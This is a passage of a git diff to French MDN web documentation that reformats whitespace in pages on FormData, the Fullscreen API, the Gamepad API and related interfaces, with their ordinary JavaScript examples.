l'opération représentée par un objet {{ domxref("FileRequest") }} est en cours. ## Syntaxe diff --git a/files/fr/web/api/force_touch_events/index.md b/files/fr/web/api/force_touch_events/index.md index 665399eaa6..9debb9689f 100644 --- a/files/fr/web/api/force_touch_events/index.md +++ b/files/fr/web/api/force_touch_events/index.md @@ -21,9 +21,9 @@ translation_of: Web/API/Force_Touch_events - {{event("webkitmouseforcedown")}} {{non-standard_inline}} - : Cet évènement est lancé après l'évènement {{event("mousedown")}} dès qu'une pression suffisante a été appliquée pour qu'il puisse être qualifié de "clic de force". - {{event("webkitmouseforceup")}} {{non-standard_inline}} - - : Cet évènement est lancé après l'évènement {{event("webkitmouseforcedown")}} dès que la pression a été suffisamment réduite pour terminer le "clic de force". + - : Cet évènement est lancé après l'évènement {{event("webkitmouseforcedown")}} dès que la pression a été suffisamment réduite pour terminer le "clic de force". - {{event("webkitmouseforcechanged")}} {{non-standard_inline}} - - : Cet évènement est lancé chaque fois que la quantité de pression change. Il se déclenche d'abord après l'événement {{event ("mousedown")}} et s'arrête avant l'événement {{event ("mouseup")}}. + - : Cet évènement est lancé chaque fois que la quantité de pression change. Il se déclenche d'abord après l'événement {{event ("mousedown")}} et s'arrête avant l'événement {{event ("mouseup")}}. ## Propriété des évènements diff --git a/files/fr/web/api/formdata/append/index.md b/files/fr/web/api/formdata/append/index.md index bc20d3847b..4bd06c1e59 100644 --- a/files/fr/web/api/formdata/append/index.md +++ b/files/fr/web/api/formdata/append/index.md @@ -15,13 +15,13 @@ translation_of: Web/API/FormData/append La méthode **`append()`** de l'interface {{domxref("FormData")}} ajoute une nouvelle valeur à une clé existante dans un objet `FormData`, ou rajoute cette clé et cette valeur quand elle n'existe pas. -La différence entre {{domxref("FormData.set")}} et `append()` est que, quand la clé existe, {{domxref("FormData.set")}} va remplacer les valeurs existantes avec la nouvelle alors qu' `append()` va rajouter celle-ci à la fin de l'ensemble des valeurs existantes. +La différence entre {{domxref("FormData.set")}} et `append()` est que, quand la clé existe, {{domxref("FormData.set")}} va remplacer les valeurs existantes avec la nouvelle alors qu' `append()` va rajouter celle-ci à la fin de l'ensemble des valeurs existantes. > **Note :** Cette méthode est disponible dans les [Web Workers](/en-US/docs/Web/API/Web_Workers_API). ## Syntaxe -Il y a deux versions de cette méthode : avec deux ou trois paramètres +Il y a deux versions de cette méthode : avec deux ou trois paramètres ```js formData.append(name, value); @@ -33,11 +33,11 @@ formData.append(name, value, filename); - `name` - : Le nom de la clé dont les données sont contenues dans `value`. - `value` - - : La valeur du champ clé. Elle peut être une {{domxref("USVString")}} ou un {{domxref("Blob")}} (incluant les sous-classes comme {{domxref("File")}}). + - : La valeur du champ clé. Elle peut être une {{domxref("USVString")}} ou un {{domxref("Blob")}} (incluant les sous-classes comme {{domxref("File")}}). - `filename` {{optional_inline}} - - : Le nom du fichier envoyé au serveur (a {{domxref("USVString")}}), quand un {{domxref("Blob")}} ou un {{domxref("File")}} est passé en second paramètre. Le nom du fichier par défaut pour des objets {{domxref("Blob")}} est "blob". Le nom du fichier par défaut pour des objets {{domxref("File")}} est le nom du fichier de l'objet. + - : Le nom du fichier envoyé au serveur (a {{domxref("USVString")}}), quand un {{domxref("Blob")}} ou un {{domxref("File")}} est passé en second paramètre. Le nom du fichier par défaut pour des objets {{domxref("Blob")}} est "blob". Le nom du fichier par défaut pour des objets {{domxref("File")}} est le nom du fichier de l'objet. -> **Note :** Si vous spécifiez un {{domxref("Blob")}} comme donnée rattachée à un objet de type `FormData`, le nom de fichier envoyé au serveur sera dans l'entête "Content-Disposition" mais peut varier selon le navigateur. +> **Note :** Si vous spécifiez un {{domxref("Blob")}} comme donnée rattachée à un objet de type `FormData`, le nom de fichier envoyé au serveur sera dans l'entête "Content-Disposition" mais peut varier selon le navigateur. ### Retours @@ -45,20 +45,20 @@ Void. ## Exemple -La ligne suivante crée un objet `FormData` vide : +La ligne suivante crée un objet `FormData` vide : ```js var formData = new FormData(); // Actuellement vide ``` -Vous pouvez rajouter des paires clé/valeur en utilisant {{domxref("FormData.append")}}: +Vous pouvez rajouter des paires clé/valeur en utilisant {{domxref("FormData.append")}}: ```js formData.append('username', 'Chris'); formData.append('userpic', myFileInput.files[0], 'chris.jpg'); ``` -Comme pour un formulaire classique, vous pouvez ajouter plusieurs valeurs pour la même clé. Par exemple ( et pour être en accord avec les conventions de nommage PHP, on ajoute \[] au nom de la clé): +Comme pour un formulaire classique, vous pouvez ajouter plusieurs valeurs pour la même clé. Par exemple ( et pour être en accord avec les conventions de nommage PHP, on ajoute \[] au nom de la clé): ```js formData.append('userpic[]', myFileInput.files[0], 'chris1.jpg'); diff --git a/files/fr/web/api/formdata/entries/index.md b/files/fr/web/api/formdata/entries/index.md index b8c8df5899..39b2b84207 100644 --- a/files/fr/web/api/formdata/entries/index.md +++ b/files/fr/web/api/formdata/entries/index.md @@ -13,10 +13,10 @@ translation_of: Web/API/FormData/entries --- {{APIRef("XMLHttpRequest")}} -La methode **FormData.entries()** retourne un {{jsxref("Les_protocoles_iteration",'iterateur')}} permettant d'accéder aux paires clefs/valeurs contenues dans cet objet. -La clef de chaque paire est une {{domxref("USVString")}}. De la même manière, la valeur peut être une {{domxref("USVString")}} ou un {{domxref("Blob")}}. +La methode **FormData.entries()** retourne un {{jsxref("Les_protocoles_iteration",'iterateur')}} permettant d'accéder aux paires clefs/valeurs contenues dans cet objet. +La clef de chaque paire est une {{domxref("USVString")}}. De la même manière, la valeur peut être une {{domxref("USVString")}} ou un {{domxref("Blob")}}. -> **Note :** Cette methode est disponible dans les [Web Workers](/fr/docs/Web/API/Web_Workers_API). +> **Note :** Cette methode est disponible dans les [Web Workers](/fr/docs/Web/API/Web_Workers_API). ## Syntaxe @@ -24,7 +24,7 @@ La clef de chaque paire est une {{domxref("USVString")}}. De la même manière, ### Valeur retournée -Retourne un {{jsxref("Les_protocoles_iteration","iterateur")}}. +Retourne un {{jsxref("Les_protocoles_iteration","iterateur")}}. ## Exemple diff --git a/files/fr/web/api/formdata/formdata/index.md b/files/fr/web/api/formdata/formdata/index.md index 44427eb965..d935583c84 100644 --- a/files/fr/web/api/formdata/formdata/index.md +++ b/files/fr/web/api/formdata/formdata/index.md @@ -12,9 +12,9 @@ translation_of: Web/API/FormData/FormData --- {{APIRef("XMLHttpRequest")}} -Le constructeur **`FormData()`** crée un nouvel objet {{domxref("FormData")}}. +Le constructeur **`FormData()`** crée un nouvel objet {{domxref("FormData")}}. -> **Note :** Cette fonctionnalité est disponible dans [Web Workers](/fr/docs/Web/API/Web_Workers_API). +> **Note :** Cette fonctionnalité est disponible dans [Web Workers](/fr/docs/Web/API/Web_Workers_API). ## Syntaxe @@ -25,23 +25,23 @@ var formData = new FormData(form) ### Paramètres - `form` {{optional_inline}} - - : Un element HTML {{HTMLElement("form")}} — quand il est spécifié, l'objet {{domxref("FormData")}} sera rempli avec les clés/valeurs du formulaire en utilisant les noms de propriétés de chaque élément pour clé et les valeurs soumises. Cela encodera aussi le contenu des fichiers. + - : Un element HTML {{HTMLElement("form")}} — quand il est spécifié, l'objet {{domxref("FormData")}} sera rempli avec les clés/valeurs du formulaire en utilisant les noms de propriétés de chaque élément pour clé et les valeurs soumises. Cela encodera aussi le contenu des fichiers. ## Exemples -La ligne suivante crée un objet `FormData` vide: +La ligne suivante crée un objet `FormData` vide: ```js var formData = new FormData(); // Formulaire vide à cet instant ``` -Vous pouvez ajouter un couple clé/valeur en utilisant {{domxref("FormData.append")}} : +Vous pouvez ajouter un couple clé/valeur en utilisant {{domxref("FormData.append")}} : ```js formData.append('username', 'Chris'); ``` -Ou vous pouvez spécifier l'argument optionnel `form` à la création de l'objet `FormData` pour le pré-remplir avec les valeurs issues du formulaire spécifié : +Ou vous pouvez spécifier l'argument optionnel `form` à la création de l'objet `FormData` pour le pré-remplir avec les valeurs issues du formulaire spécifié : ```html <form id="myForm" name="myForm"> diff --git a/files/fr/web/api/formdata/using_formdata_objects/index.md b/files/fr/web/api/formdata/using_formdata_objects/index.md index 80f00db03e..50c672e3be 100644 --- a/files/fr/web/api/formdata/using_formdata_objects/index.md +++ b/files/fr/web/api/formdata/using_formdata_objects/index.md @@ -12,11 +12,11 @@ tags: translation_of: Web/API/FormData/Using_FormData_Objects original_slug: Web/API/FormData/Utilisation_objets_FormData --- -L’objet [`FormData`](/en-US/docs/Web/API/FormData) vous permet de compiler un ensemble de paires clé/valeur à envoyer à l’aide de l’API [`XMLHttpRequest`](/en-US/docs/Web/API/XMLHttpRequest). Il est principalement destiné à l’envoi de données de formulaire, mais il peut également être utilisé indépendamment des formulaires pour transmettre des données indexées. Le format des données transmises est le même que celui qu’utiliserait la méthode {{domxref("HTMLFormElement.submit","submit()")}} du formulaire pour envoyer les données si l’encodage de ce dernier était défini sur `multipart/form-data`. +L’objet [`FormData`](/en-US/docs/Web/API/FormData) vous permet de compiler un ensemble de paires clé/valeur à envoyer à l’aide de l’API [`XMLHttpRequest`](/en-US/docs/Web/API/XMLHttpRequest). Il est principalement destiné à l’envoi de données de formulaire, mais il peut également être utilisé indépendamment des formulaires pour transmettre des données indexées. Le format des données transmises est le même que celui qu’utiliserait la méthode {{domxref("HTMLFormElement.submit","submit()")}} du formulaire pour envoyer les données si l’encodage de ce dernier était défini sur `multipart/form-data`. ## Création intégrale d’un objet FormData -Vous pouvez construire un objet `FormData` vous-même, en créer une instance, puis y ajouter des champs en appelant la méthode {{domxref("FormData.append","append()")}}, comme suit : +Vous pouvez construire un objet `FormData` vous-même, en créer une instance, puis y ajouter des champs en appelant la méthode {{domxref("FormData.append","append()")}}, comme suit : ```js var formData = new FormData(); @@ -38,9 +38,9 @@ request.open("POST", "http://foo.com/submitform.php"); request.send(formData); ``` -> **Note :** Les champs « userfile » et « webmasterfile » contiennent tous deux un fichier. Le numéro attribué au champ « accountnum » est immédiatement converti en chaîne par la méthode [`FormData.append()`](</en/DOM/XMLHttpRequest/FormData#append()>) (la valeur du champ peut être un objet {{ domxref("Blob") }}, {{ domxref("File") }} ou une chaîne : **s’il ne s’agit ni d’un objet Blob, ni d’un objet File, la valeur est convertie en chaîne**). +> **Note :** Les champs « userfile » et « webmasterfile » contiennent tous deux un fichier. Le numéro attribué au champ « accountnum » est immédiatement converti en chaîne par la méthode [`FormData.append()`](</en/DOM/XMLHttpRequest/FormData#append()>) (la valeur du champ peut être un objet {{ domxref("Blob") }}, {{ domxref("File") }} ou une chaîne : **s’il ne s’agit ni d’un objet Blob, ni d’un objet File, la valeur est convertie en chaîne**). -Dans cet exemple, une instance `FormData` contenant les valeurs des champs « username », « accountnum », « userfile » et « webmasterfile » est créée, puis la méthode `XMLHttpRequest` [`send()`](</en/DOM/XMLHttpRequest#send()>) est utilisée pour envoyer les données du formulaire. Le champ « webmasterfile » est un objet {{domxref("Blob")}}. Un objet `Blob` représente un objet-fichier de données brutes immuables. Les Blobs représentent des données qui ne sont pas nécessairement dans un format JavaScript natif. L’interface {{ domxref("File") }} se base sur l’objet `Blob`, elle en hérite les fonctionnalités et les étend pour prendre en charge les fichiers du système de l’utilisateur. Pour construire un `Blob`, vous pouvez invoquer le {{domxref("Blob.Blob","constructeur Blob()")}}. +Dans cet exemple, une instance `FormData` contenant les valeurs des champs « username », « accountnum », « userfile » et « webmasterfile » est créée, puis la méthode `XMLHttpRequest` [`send()`](</en/DOM/XMLHttpRequest#send()>) est utilisée pour envoyer les données du formulaire. Le champ « webmasterfile » est un objet {{domxref("Blob")}}. Un objet `Blob` représente un objet-fichier de données brutes immuables. Les Blobs représentent des données qui ne sont pas nécessairement dans un format JavaScript natif. L’interface {{ domxref("File") }} se base sur l’objet `Blob`, elle en hérite les fonctionnalités et les étend pour prendre en charge les fichiers du système de l’utilisateur. Pour construire un `Blob`, vous pouvez invoquer le {{domxref("Blob.Blob","constructeur Blob()")}}. ## Récupération d’un objet FormData dans un formulaire HTML @@ -59,7 +59,7 @@ request.open("POST", "submitform.php"); request.send(new FormData(formElement)); ``` -Vous pouvez également ajouter des données supplémentaires à l’objet `FormData` entre sa récupération dans un formulaire et son envoi, comme suit : +Vous pouvez également ajouter des données supplémentaires à l’objet `FormData` entre sa récupération dans un formulaire et son envoi, comme suit : ```js var formElement = document.querySelector("form"); @@ -72,76 +72,76 @@ request.send(formData); Vous pouvez ainsi ajouter des données au formulaire avant de l’envoyer, pour y inclure des informations supplémentaires que les utilisateurs ne peuvent pas nécessairement modifier. -## Envoi de fichiers via un objet FormData +## Envoi de fichiers via un objet FormData -L’objet `FormData` vous permet également d’envoyer des fichiers. Il vous suffit d’inclure un élément HTML {{ HTMLElement("input") }} de type `file` dans votre élément {{htmlelement("form")}} : +L’objet `FormData` vous permet également d’envoyer des fichiers. Il vous suffit d’inclure un élément HTML {{ HTMLElement("input") }} de type `file` dans votre élément {{htmlelement("form")}} : ```html <form enctype="multipart/form-data" method="post" name="fileinfo"> - <label>Votre adresse électronique :</label> - <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br /> - <label>Étiquette du fichier personnalisé :</label> - <input type="text" name="filelabel" size="12" maxlength="32" /><br /> - <label>Fichier à mettre de côté :</label> - <input type="file" name="file" required /> - <input type="submit" value="Mettez le fichier de côté." /> + <label>Votre adresse électronique :</label> + <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br /> + <label>Étiquette du fichier personnalisé :</label> + <input type="text" name="filelabel" size="12" maxlength="32" /><br /> + <label>Fichier à mettre de côté :</label> + <input type="file" name="file" required /> + <input type="submit" value="Mettez le fichier de côté." /> </form> <div></div> ``` -Vous pouvez ensuite l’envoyer à l’aide du code suivant : +Vous pouvez ensuite l’envoyer à l’aide du code suivant : ```js var form = document.forms.namedItem("fileinfo"); form.addEventListener('submit', function(ev) { - var oOutput = document.querySelector("div"), + var oOutput = document.querySelector("div"), oData = new FormData(form); - oData.append("CustomField", "Données supplémentaires"); + oData.append("CustomField", "Données supplémentaires"); - var oReq = new XMLHttpRequest(); - oReq.open("POST", "stash.php", true); - oReq.onload = function(oEvent) { - if (oReq.status == 200) { - oOutput.innerHTML = "Envoyé !"; - } else { - oOutput.innerHTML = "Erreur " + oReq.status + " lors de la tentative d’envoi du fichier.<br \/>"; - } - }; + var oReq = new XMLHttpRequest(); + oReq.open("POST", "stash.php", true); + oReq.onload = function(oEvent) { + if (oReq.status == 200) { + oOutput.innerHTML = "Envoyé !"; + } else { + oOutput.innerHTML = "Erreur " + oReq.status + " lors de la tentative d’envoi du fichier.<br \/>"; + } + }; - oReq.send(oData); + oReq.send(oData); ev.preventDefault(); }, false); ``` > **Note :** Si vous passez une référence dans le formulaire, la méthode spécifiée dans ce dernier sera utilisée au lieu de celle définie dans l’appel de la méthode open(). -Vous pouvez également ajouter un objet {{ domxref("File") }} ou {{ domxref("Blob") }} directement dans l’objet {{ domxref("FormData") }} : +Vous pouvez également ajouter un objet {{ domxref("File") }} ou {{ domxref("Blob") }} directement dans l’objet {{ domxref("FormData") }} : ```js data.append("myfile", myBlob, "filename.txt"); ``` -Avec la méthode {{domxref("FormData.append","append()")}}, vous pouvez utiliser le troisième paramètre facultatif pour passer un nom de fichier dans l’en-tête `Content-Disposition` envoyé au serveur. Si aucun nom de fichier n’est spécifié (ou si le paramètre n’est pas pris en charge), le nom « blob » est utilisé. +Avec la méthode {{domxref("FormData.append","append()")}}, vous pouvez utiliser le troisième paramètre facultatif pour passer un nom de fichier dans l’en-tête `Content-Disposition` envoyé au serveur. Si aucun nom de fichier n’est spécifié (ou si le paramètre n’est pas pris en charge), le nom « blob » est utilisé. -Vous pouvez utiliser l’objet `FormData` avec jQuery si vous définissez les options appropriées : +Vous pouvez utiliser l’objet `FormData` avec jQuery si vous définissez les options appropriées : ```js var fd = new FormData(document.querySelector("form")); fd.append("CustomField", "Données supplémentaires"); $.ajax({ - url: "stash.php", - type: "POST", - data: fd, - processData: false, // dire à jQuery de ne pas traiter les données - contentType: false // dire à jQuery de ne pas définir le contentType + url: "stash.php", + type: "POST", + data: fd, + processData: false, // dire à jQuery de ne pas traiter les données + contentType: false // dire à jQuery de ne pas définir le contentType }); ``` -## Envoi de formulaires et de fichiers via AJAX *sans* objet `FormData` +## Envoi de formulaires et de fichiers via AJAX *sans* objet `FormData` -Si vous voulez en savoir plus sur la sérialisation des données et l’envoi d’un formulaire via [AJAX](/en-US/docs/AJAX) *sans* utiliser d’objets FormData, consultez [ce paragraph](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files)e. +Si vous voulez en savoir plus sur la sérialisation des données et l’envoi d’un formulaire via [AJAX](/en-US/docs/AJAX) *sans* utiliser d’objets FormData, consultez [ce paragraph](/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest#Submitting_forms_and_uploading_files)e. ## Voir aussi diff --git a/files/fr/web/api/fullscreen_api/index.md b/files/fr/web/api/fullscreen_api/index.md index 554b01e01d..c4b6c094e7 100644 --- a/files/fr/web/api/fullscreen_api/index.md +++ b/files/fr/web/api/fullscreen_api/index.md @@ -23,12 +23,12 @@ Prenons cet élément {{ HTMLElement("video") }} : ```html <video controls id="myvideo"> - <source src="somevideo.webm"></source> - <source src="somevideo.mp4"></source> + <source src="somevideo.webm"></source> + <source src="somevideo.mp4"></source> </video> ``` -Nous pouvons mettre cet élément video en plein écran avec un script de cette façon : +Nous pouvons mettre cet élément video en plein écran avec un script de cette façon : ```js var elem = document.getElementById("myvideo"); @@ -43,8 +43,8 @@ Il est important de savoir qu'il y a une différence clef entre les implémentat ```css #myvideo:-webkit-full-screen { - width: 100%; - height: 100%; + width: 100%; + height: 100%; } ``` @@ -52,48 +52,48 @@ Dans l'autre sens, si vous essayez d'émuler le comportement de WebKit sur Gecko ### Notification -Quand le mode plein écran est activé, le document qui contient l'élément reçoit un événement de type {{ event("fullscreenchange") }} . Lors de la sortie du mode plein écran, le document reçoit à nouveau l'événement {{ event("fullscreenchange") }} . Notez que l'événement en lui-même {{ event("fullscreenchange") }} ne fournit aucune information si le document est en train d'entrer ou de sortir du mode plein écran, mais si le document a une valeur non nulle {{ domxref("document.fullscreenElement", "fullscreenElement") }} , vous savez que vous êtes en mode plein écran. +Quand le mode plein écran est activé, le document qui contient l'élément reçoit un événement de type {{ event("fullscreenchange") }} . Lors de la sortie du mode plein écran, le document reçoit à nouveau l'événement {{ event("fullscreenchange") }} . Notez que l'événement en lui-même {{ event("fullscreenchange") }} ne fournit aucune information si le document est en train d'entrer ou de sortir du mode plein écran, mais si le document a une valeur non nulle {{ domxref("document.fullscreenElement", "fullscreenElement") }} , vous savez que vous êtes en mode plein écran. ### Lorsqu'une demande de plein écran échoue -Il n'est pas garanti que vous soyez capable de passer en mode plein écran. Par exemple, les élements {{ HTMLElement("iframe") }} possèdent l'attribut {{ HTMLAttrXRef("allowfullscreen", "iframe") }} pour permettre à leur contenu d'être affiché en mode plein écran. Certains contenus comme les greffons fenêtrés ne peuvent être représentés en plein écran. Essayer de placer un élément qui ne peut être affiché en mode plein écran (ou le parent ou le descendant d'un tel élément) ne marchera pas. A la place, l'élément qui a demandé le mode plein écran recevra un événement `mozfullscreenerror` . Quand une demande de plein écran échoue, Firefox écrit un message d'erreur dans la console Web expliquant pourquoi la demande n'a pas pu aboutir. Dans Chrome et les versions plus récentes d'Opera, aucun avertissement de ce type n'est généré. +Il n'est pas garanti que vous soyez capable de passer en mode plein écran. Par exemple, les élements {{ HTMLElement("iframe") }} possèdent l'attribut {{ HTMLAttrXRef("allowfullscreen", "iframe") }} pour permettre à leur contenu d'être affiché en mode plein écran. Certains contenus comme les greffons fenêtrés ne peuvent être représentés en plein écran. Essayer de placer un élément qui ne peut être affiché en mode plein écran (ou le parent ou le descendant d'un tel élément) ne marchera pas. A la place, l'élément qui a demandé le mode plein écran recevra un événement `mozfullscreenerror` . Quand une demande de plein écran échoue, Firefox écrit un message d'erreur dans la console Web expliquant pourquoi la demande n'a pas pu aboutir. Dans Chrome et les versions plus récentes d'Opera, aucun avertissement de ce type n'est généré. > **Note :** Les requêtes de Fullscreen doivent être appelées depuis un gestionnaire d'évènements ou sinon, elles seront refusées. ## Sortie du mode plein écran -L'utilisateur peut toujours sortir du mode plein écran quand il le désire ; voir {{ anch("Choses que vos utilisateurs doivent savoir") }}. Vous pouvez également le faire en appelant la méthode {{domxref("Document.exitFullscreen()")}} . +L'utilisateur peut toujours sortir du mode plein écran quand il le désire ; voir {{ anch("Choses que vos utilisateurs doivent savoir") }}. Vous pouvez également le faire en appelant la méthode {{domxref("Document.exitFullscreen()")}} . ## Autres informations -Le {{ domxref("document") }} fournit des informations supplémentaires pouvant être utiles lorsque vous développez des applications web en plein écran : +Le {{ domxref("document") }} fournit des informations supplémentaires pouvant être utiles lorsque vous développez des applications web en plein écran : - {{ domxref("document.fullscreenElement", "fullscreenElement") }} - - : L'attribut `fullscreenElement` vous indique l'{{ domxref("element") }} qui est actuellement affiché en plein écran. S'il est non nul, le document est en mode plein écran. S'il est nul, le document n'est pas en mode plein écran. + - : L'attribut `fullscreenElement` vous indique l'{{ domxref("element") }} qui est actuellement affiché en plein écran. S'il est non nul, le document est en mode plein écran. S'il est nul, le document n'est pas en mode plein écran. - {{ domxref("document.fullscreenEnabled", "fullscreenEnabled") }} - - : L'attribut `fullscreenEnabled` vous indique si le document est actuellement dans un état qui permettrait d'activer le mode plein écran ou non. + - : L'attribut `fullscreenEnabled` vous indique si le document est actuellement dans un état qui permettrait d'activer le mode plein écran ou non. ## Choses que vos utilisateurs doivent savoir -Vous voulez faire savoir à vos utilisateurs qu'il peuvent utiliser la touche <kbd>ECHAP</kbd> (ou <kbd>F11</kbd>) pour sortir du mode plein écran. +Vous voulez faire savoir à vos utilisateurs qu'il peuvent utiliser la touche <kbd>ECHAP</kbd> (ou <kbd>F11</kbd>) pour sortir du mode plein écran. -En même temps, naviguer sur une autre page, changer d'onglet, ou changer d'application (en utilisant, par exemple, <kbd>Alt</kbd>-<kbd>Tab</kbd> ) pendant le mode plein écran, implique la sortie du mode plein écran de toute façon. +En même temps, naviguer sur une autre page, changer d'onglet, ou changer d'application (en utilisant, par exemple, <kbd>Alt</kbd>-<kbd>Tab</kbd> ) pendant le mode plein écran, implique la sortie du mode plein écran de toute façon. ## Exemple -Dans cet exemple, une vidéo est affichée dans une page web. Taper sur l'une des touches <kbd>Retour</kbd> ou <kbd>Entrée</kbd>, permet à l'utilisateur de passer d'une présentation dans une fenêtre à une présentation en mode plein écran de la vidéo. +Dans cet exemple, une vidéo est affichée dans une page web. Taper sur l'une des touches <kbd>Retour</kbd> ou <kbd>Entrée</kbd>, permet à l'utilisateur de passer d'une présentation dans une fenêtre à une présentation en mode plein écran de la vidéo. [Voir l'exemple sur une page](/samples/domref/fullscreen.html) ### Action sur la touche <kbd>Entrée</kbd> -Quand la page est chargée, ce code est exécuté pour mettre en place un évènement "listener" permettant de surveiller la moindre action sur la touche <kbd>Entrée</kbd> . +Quand la page est chargée, ce code est exécuté pour mettre en place un évènement "listener" permettant de surveiller la moindre action sur la touche <kbd>Entrée</kbd> . ```js document.addEventListener("keydown", function(e) { - if (e.keyCode == 13) { - toggleFullScreen(); - } + if (e.keyCode == 13) { + toggleFullScreen(); + } }, false); ``` @@ -113,9 +113,9 @@ function toggleFullScreen() { } ``` -Dans un premier temps, la valeur de l'attribut `fullscreenElement` est analysée dans le {{ domxref("document") }} (en contrôlant s'il est préfixé par `moz-, ms-` ou `webkit-`). Si la valeur est nulle, le document est actuellement en mode normal, donc nous devons passer en mode plein écran. Le passage en mode plein écran est assuré en appelant {{ domxref("element.requestFullscreen()") }}. +Dans un premier temps, la valeur de l'attribut `fullscreenElement` est analysée dans le {{ domxref("document") }} (en contrôlant s'il est préfixé par `moz-, ms-` ou `webkit-`). Si la valeur est nulle, le document est actuellement en mode normal, donc nous devons passer en mode plein écran. Le passage en mode plein écran est assuré en appelant {{ domxref("element.requestFullscreen()") }}. -Si le mode plein écran est déjà activé (`fullscreenElement` est non nul), nous appelons {{ domxref("document.exitFullscreen()") }}. +Si le mode plein écran est déjà activé (`fullscreenElement` est non nul), nous appelons {{ domxref("document.exitFullscreen()") }}. ## Préfixes diff --git a/files/fr/web/api/gainnode/index.md b/files/fr/web/api/gainnode/index.md index a31634b587..f377937e23 100644 --- a/files/fr/web/api/gainnode/index.md +++ b/files/fr/web/api/gainnode/index.md @@ -65,7 +65,7 @@ Aucune méthode spécifique; hérite des méthodes de son parent, {{domxref("Aud | Spécification | Statuts | Commentaire | | ------------------------------------------------------------------------------------ | ------------------------------------ | ----------- | -| {{SpecName('Web Audio API', '#GainNode-section', 'GainNode')}} | {{Spec2('Web Audio API')}} | | +| {{SpecName('Web Audio API', '#GainNode-section', 'GainNode')}} | {{Spec2('Web Audio API')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/gamepad/index.md b/files/fr/web/api/gamepad/index.md index 8fb2bd5cda..e52fe8886f 100644 --- a/files/fr/web/api/gamepad/index.md +++ b/files/fr/web/api/gamepad/index.md @@ -15,9 +15,9 @@ Un objet `Gamepad` peut être retourné de deux manières : ## Propriétés - {{domxref("Gamepad.axes")}} {{readonlyInline}} - - : Un tableau représentant les contrôles avec les axes présents sur le dispositif (par exemple : les joysticks analogiques). + - : Un tableau représentant les contrôles avec les axes présents sur le dispositif (par exemple : les joysticks analogiques). - {{domxref("Gamepad.buttons")}} {{readonlyInline}} - - : Un tableau d'objets {{domxref("gamepadButton")}} représentant les boutons présents sur le dispositif. + - : Un tableau d'objets {{domxref("gamepadButton")}} représentant les boutons présents sur le dispositif. - {{domxref("Gamepad.connected")}} {{readonlyInline}} - : Un booléen indiquant si la manette est toujours connectée au système. - {{domxref("Gamepad.displayId")}} {{readonlyInline}} diff --git a/files/fr/web/api/gamepad_api/index.md b/files/fr/web/api/gamepad_api/index.md index 2548f041e8..681df27f87 100644 --- a/files/fr/web/api/gamepad_api/index.md +++ b/files/fr/web/api/gamepad_api/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Gamepad_API --- {{DefaultAPISidebar("Gamepad API")}} -L'**API Gamepad** est un moyen pour les développeurs d'accéder aux signaux provenant des manettes des jeu et des autres unités de commande du jeu d'y répondre de manière simple et systématiq. Il contient trois interfaces, deux événements et une fonction spécialisée, pour répondre aux manettes connectées et déconnectées, et pour accéder à d'autres informations sur les manettes elles-mêmes, ainsi que sur les boutons et autres commandes sur lesquels vous appuyez actuellement. +L'**API Gamepad** est un moyen pour les développeurs d'accéder aux signaux provenant des manettes des jeu et des autres unités de commande du jeu d'y répondre de manière simple et systématiq. Il contient trois interfaces, deux événements et une fonction spécialisée, pour répondre aux manettes connectées et déconnectées, et pour accéder à d'autres informations sur les manettes elles-mêmes, ainsi que sur les boutons et autres commandes sur lesquels vous appuyez actuellement. ## Interfaces diff --git a/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.md b/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.md index 5a152773d4..4004757091 100644 --- a/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.md +++ b/files/fr/web/api/gamepad_api/using_the_gamepad_api/index.md @@ -22,55 +22,55 @@ Vous pouvez utiliser {{ domxref("Window.gamepadconnected") }} ainsi : ```js window.addEventListener("gamepadconnected", function(e) { - console.log("Contrôleur n°%d connecté : %s. %d boutons, %d axes.", - e.gamepad.index, e.gamepad.id, - e.gamepad.buttons.length, e.gamepad.axes.length); + console.log("Contrôleur n°%d connecté : %s. %d boutons, %d axes.", + e.gamepad.index, e.gamepad.id, + e.gamepad.buttons.length, e.gamepad.axes.length); }); ``` -Chaque contrôleur est associé à un identifiant unique, qui est disponible dans la propriété `gamepad` de l'événement. +Chaque contrôleur est associé à un identifiant unique, qui est disponible dans la propriété `gamepad` de l'événement. > **Note :** À l'écriture de ces lignes, Chrome n'implémente pas les événements {{ domxref("Window.gamepadconnected") }} et {{ domxref("Window.gamepaddisconnected") }}. Vous devez utiliser {{ domxref("navigator.getGamepads") }} pour récupérer la liste des contrôleurs disponibles. ## Déconnexion du contrôleur -Lorsqu'un contrôleur est déconnecté, et si la page avait déjà reçu des données de ce contrôleur auparavant (par exemple par l'événement {{ domxref("Window.gamepadconnected") }}), un second événement est envoyé à la fenêtre active : {{ domxref("Window.gamepaddisconnected") }}. +Lorsqu'un contrôleur est déconnecté, et si la page avait déjà reçu des données de ce contrôleur auparavant (par exemple par l'événement {{ domxref("Window.gamepadconnected") }}), un second événement est envoyé à la fenêtre active : {{ domxref("Window.gamepaddisconnected") }}. ```js window.addEventListener("gamepaddisconnected", function(e) { - console.log("Contrôleur n°%d déconnecté : %s", - e.gamepad.index, e.gamepad.id); + console.log("Contrôleur n°%d déconnecté : %s", + e.gamepad.index, e.gamepad.id); }); ``` -La propriété `index` sera unique à chaque périphérique connecté au système, même si plusieurs contrôleurs du même type sont utilisés. La propriété correspond également à l'indice du tableau retourné par {{ domxref("navigator.getGamepads") }}. +La propriété `index` sera unique à chaque périphérique connecté au système, même si plusieurs contrôleurs du même type sont utilisés. La propriété correspond également à l'indice du tableau retourné par {{ domxref("navigator.getGamepads") }}. ```js var gamepads = {}; function gamepadHandler(event, connecting) { - var gamepad = event.gamepad; + var gamepad = event.gamepad; // Note : // gamepad === navigator.getGamepads()[gamepad.index] - if (connecting) { - gamepads[gamepad.index] = gamepad; - } else { - delete gamepads[gamepad.index]; - } + if (connecting) { + gamepads[gamepad.index] = gamepad; + } else { + delete gamepads[gamepad.index]; + } } window.addEventListener("gamepadconnected", function(e) { gamepadHandler(e, true); }, false); window.addEventListener("gamepaddisconnected", function(e) { gamepadHandler(e, false); }, false); ``` -Cet exemple montre également comment la propriété `gamepad` peut être conservée après que l'événement se soit terminé. 